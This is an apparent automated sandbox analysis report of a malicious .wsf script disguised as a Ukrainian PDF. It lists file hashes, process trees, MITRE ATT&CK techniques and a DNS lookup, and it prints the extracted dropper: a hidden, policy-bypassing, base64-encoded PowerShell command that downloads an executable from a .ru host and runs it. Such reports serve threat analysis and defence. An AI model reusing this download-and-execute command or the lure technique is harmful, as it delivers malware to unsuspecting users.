bc27b3afc72c925df021166fccc262ccf75e2be6f8b04c6772ed36ee8d5a1de0

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
07/02/2025, 05:14 UTC

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General

Target

Сопроводiтельни документи вiд 23.09.2024p.pdf.wsf
Size

225KB
MD5

4f6cb09e56494f178fd06ee05c3880ac
SHA1

45810dc8fa00d54a302d8ea5a7563a21c93c94f4
SHA256

5c7d582ba61ac95fb0d330ecc05feeb4853ac1de1f5a6fd12df6491dd0b7ea34
SHA512

ab4ccc4d21d4d719e3c9fbc447d79b6ede14a82dd0ecd162d729805cd8033163484c3464cbcab0a3d9084742004edcfecda6f8901dd2ffa5e3f27b7e495c32b7
SSDEEP

1536:DP4ANQd3mqQmBB10kZzt8zxcsw07HdB8S+OFPN6EZLS8+EKa/GeQP4ANQd3mqQmY:yBj5GsTwPMOS8+UBj5GsTwPMOS8+O

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$path = $env:temp + "\\oBuf.exe"
2
$client = new-object system.net.webclient
3
$client.downloadfile("http://bestmagazineforanimalsunicum.ru/download/svc.exe", $path)
4
start-process -filepath $path
5

URLs

exe.dropper

http://bestmagazineforanimalsunicum.ru/download/svc.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 588	2572	WScript.exe	32
PID 2572 wrote to memory of 588	2572	WScript.exe	32
PID 2572 wrote to memory of 588	2572	WScript.exe	32
PID 588 wrote to memory of 2724	588	cmd.exe	34
PID 588 wrote to memory of 2724	588	cmd.exe	34
PID 588 wrote to memory of 2724	588	cmd.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Сопроводiтельни документи вiд 23.09.2024p.pdf.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2724

Network

DNS

bestmagazineforanimalsunicum.ru

powershell.exe

Remote address:

8.8.8.8:53

Request

bestmagazineforanimalsunicum.ru

IN A

Response

No results found

8.8.8.8:53

bestmagazineforanimalsunicum.ru

dns

powershell.exe

77 B
138 B
1
1

DNS Request

bestmagazineforanimalsunicum.ru

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2724-4-0x000007FEF61DE000-0x000007FEF61DF000-memory.dmp

Filesize
4KB

Download
memory/2724-5-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2724-6-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2724-7-0x000007FEF5F20000-0x000007FEF68BD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-8-0x000007FEF5F20000-0x000007FEF68BD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-9-0x000007FEF5F20000-0x000007FEF68BD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-10-0x000007FEF5F20000-0x000007FEF68BD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-11-0x000007FEF5F20000-0x000007FEF68BD000-memory.dmp

Filesize
9.6MB

Download